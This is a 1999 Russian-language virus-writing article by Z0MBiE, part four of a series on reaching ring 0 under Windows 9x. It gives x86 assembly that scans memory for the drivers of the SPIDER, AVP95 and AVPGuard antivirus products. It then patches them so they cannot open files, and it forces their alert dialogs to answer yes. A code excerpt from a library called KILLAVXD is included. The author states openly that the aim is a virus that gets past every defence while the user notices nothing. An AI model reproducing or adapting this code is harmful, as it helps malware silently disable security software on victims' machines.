В этой, четвертой части статьи про ring-0 мы будем говорить о
проблемах, возникающих после перехода в нулевое кольцо, а именно
об отгрузке антивирусных VxD-драйверов.
Напомню, что под маздаем можно перейти в нулевое кольцо как минимум
одним из следующих способов:
- непосредственная загрузка VxD-драйвера либо изменение какого-нибудь из существущих загружаемых VxD-файлов
- модификация дескриптора прерывания в IDT
- создание callgate-а в GDT или в LDT, включая сюда поиск LDT в памяти без доступа к GDT
- переход посредством вызовов KERNEL-овских функций (всякие там пэйджеры)
- переход сплайсингом в одну из VMM-овских процедур (например C0001000) либо
изменение каких-либо уазателей в VMM-овских данных
- переход модификацией контекста (SetThreadContext, ставим CS=28h, EIP=r0proc)
- переход через INT 2E/PsCreateSystemThread, PoCallDriver, RtlCopyMemory и т.п.
- используя INT 31, коий можно вызывать через kernel32 (push 002A0029/call ord0)
- переход в нулевое кольцо посредством медитации (спросить хрюкера) ;-)
При этом мы знаем, что можно писать в защищенную память из третьего кольца,
например модифицируя таблицу страниц или через INT 2E/RtlCopyMemory.
Теперь остановимся на следующем шаге: мы либо перешли в 0, либо остались
в третьем кольце, но можем производить запись в любое место памяти.
Так вот, обладая такими свойствами, мы, тем не менее, не можем
делать системных вызовов, потому что есть шанс нарваться на антивирусный
драйвер.
Например запись в исполняемый файл в районе заголовка отлавливается
как вирусоподобная (а так и есть), на VxDcall-ы из адресов PE-файлов у
всяких там спидеров тоже приподнимается, так что, как уже не раз говорилось,
мы не идем на компромисс -- мы просто убиваем мешающий нам софт.
Как убить VxD-драйвер?
Для этого надо ответить на 2 вопроса. Во-первых, что это за драйвер,
и, во-вторых, где он находится.
Btw, скажу сразу, здесь я рассматриваю только 3 драйвера, а именно SPIDER.VXD,
AVP95.VXD и AVPG.VXD (AvpGuard).
Как найти загруженный VxD? Можно получить поинтер на первый DDB
и дальше идти по цепочке, проверяя имя драйвера.
Но это есть хуйня, ибо VxDcall VXDLDR_GetDeviceList может легко отлавливаться
так же как и любой другой вызов.
Поэтому предлагается сканировать всю память в поисках DDB-блоков.
Таким образом мы и найдем интересующие нас VxD-драйвера.
Поиск DDB в памяти:
mov ebx, 0C0000000h
__scancycle: push 8192 ; 2 pages
push ebx
callW IsBadReadPtr
or eax, eax
jnz __skippage
xor esi, esi
__cycle:
; общие черты, характерные для всех искомых драйверов
cmp [ebx+esi].DDB_SDK_Version, 400h
jne __cont
cmp [ebx+esi].DDB_Name.byte ptr 7, 32
jne __cont
cmp [ebx+esi].DDB_Init_Order, 80000000h
jne __cont
cmp [ebx+esi].DDB_Prev, 'Prev'
jne __cont
mov eax, dword ptr [ebx+esi].DDB_Name
cmp eax, 'DIPS' ; SPIDER
je __fuckup
cmp edx, '9PVA' ; AVP95
je __fuckup
cmp edx, 'GPVA' ; AVPGUARD
je __fuckup
__cont: inc esi
cmp esi, 4096
jb __cycle
__skippage: add ebx, 4096
cmp ebx, 0D0000000h
jb __scancycle
Вот мы и нашли DDB драйвера, проверили имя, и выяснили что это та
самая сволочь. Как убивать?
Где нибудь с control_proc_0 сканируем и патчим память на предмет
следующих значений:
для спидера и авп95 находим все последовательности
B8 0000D500 mov eax, R0_OPENCREATFILE
и
B8 0000D501 mov eax, R0_OPENCREAT_IN_CONTEXT
и меняем на
B8 FFFFFFFF
В результате проклятый антивир теряет способность открывать файлы,
и, соответственно, никак не реагирует на их изменение.
Для avpg.vxd проделываем то же самое, плюс к этому находим
CD 20 002A001A VxDcall VWIN32_SysErrorBox
CD 20 002A000E VxDcall VWIN32_SetWin32Event
и меняем на
90 B8 00000001 nop / mov eax, 1
В результате антивирус вирусные события-то отлавливает, но вот
передать их в PE-файл посредством VWIN32_SetWin32Event не может, и поэтому
сам пробует вызвать VWIN32_SysErrorBox. А это такая фишка, которая
спрашивает да/нет. Вот тут он и имеет EAX=1, что означает Yes.
Теперь подходим к такому вопросу: а что если CD 20 nnnnnnnn уже
успело измениться на CALL ? Тогда надо вычислить два следующих значения:
mov eax, 002Ah ; VMM
xor edi, edi
VMMcall Get_DDB
; ECX<--offset DDB
mov edx, [ecx+30h] ; DDB_Service_Table_Ptr
xxxxxxxx <-- [edx+4*001Ah] ; VWIN32_SysErrorBox
yyyyyyyy <-- [edx+4*000Eh] ; VWIN32_SetWin32Event
и так же как и в случае CD 20 nnnnnnnn, заменить все
FF 15 xxxxxxxx call [xxxxxxxx]
и
FF 15 yyyyyyyy call [yyyyyyyy]
на
90 B8 00000001 nop / mov eax, 1
Только вместо VMMcall Get_DDB желательно найти VMM-овский DDB так,
как это было описано в самом начале текста, хотя если работает только один
avpg.vxd это не обязательно.
Короче говоря, применив все вышеписанное вы поимеете вирусняк,
пробивающий все защиты, без каких-либо жестоких действий типа отгрузки
драйвера напрочь, что немаловажно. Вобщем антивир молчит, юзер играет,
вирус работает.
Вот кусок из библиотечки KILLAVXD, слегка модифицированный в соответствии
с вышесказанным:
...
lea edx, [ebx+0Ch]; Name_0
mov edx, [edx]
cmp edx, 'DIPS' ; SPIDER
je __kavxd_patch
cmp edx, '9PVA' ; AVP95
je __kavxd_patch
cmp edx, 'GPVA' ; AVPGUARD
je __kavxd_patch
...
__kavxd_patch: pusha
push offset kavxd_kill_moveax
pop kavxd_killhandler
mov esi, 0000D500h ; R0_OPENCREATFILE
call __kavxd_fuck
mov esi, 0000D501h ; R0_OPENCREAT_IN_CONTEXT
call __kavxd_fuck
cmp edx, 'GPVA'
jne __skip1
push offset kavxd_kill_cd20
pop kavxd_killhandler
mov esi, 002A001Ah ; VWIN32_SysErrorBox
call __kavxd_fuck
mov esi, 002A000Eh ; VWIN32_SetWin32Event
call __kavxd_fuck
push offset kavxd_kill_badcall
pop kavxd_killhandler
mov eax, 002Ah ; VMM
xor edi, edi
VMMcall Get_DDB
mov edx, [ecx+30h] ; DDB_Service_Table_Ptr
lea esi, [edx+4*001Ah] ; VWIN32_SysErrorBox
call __kavxd_fuck
lea esi, [edx+4*000Eh] ; VWIN32_SetWin32Event
call __kavxd_fuck
__skip1:
popa
...
__kavxd_fuck: pusha
mov edi, [ebx+18h] ; Control_Proc_0
__kavxd_1: lea ecx, [edi+4] ; check presence for
test ecx, 00000FFFh ; each new page encountered
jnz __kavxd_2
pusha
sub esp, 28
mov esi, esp
push 28
push esi ; esi = MEMORY_BASIC_INFO
push ecx
VxDcall VMM, PageQuery
test dword ptr [esi+10h], 1000h ; mbi_state & MEM_COMMIT
lea esp, [esp + 4*3 + 28]
popa
jnz __kavxd_2
popa
ret
__kavxd_2: inc edi
cmp [edi], esi ;
jne __kavxd_1
call kavxd_killhandler
jmp __kavxd_1
kavxd_killhandler dd ?
kavxd_kill_moveax: cmp byte ptr [edi-1], 0B8h
jne rt
mov dword ptr [edi], -1 ; R0_xxx <-- 0xFFFFFFFF
ret
kavxd_kill_cd20: cmp word ptr [edi-2], 20CDh
jne rt
kavxd_kill_both: mov word ptr [edi-2], 0B890h ; nop/mov eax, 1
mov dword ptr [edi], 1
ret
kavxd_kill_badcall: cmp word ptr [edi-2], 15FFh
je kavxd_kill_both
rt: ret
* * *
(c) 1999 Z0MBiE, z0mbie.cjb.net
Статья для журнала Top Device
|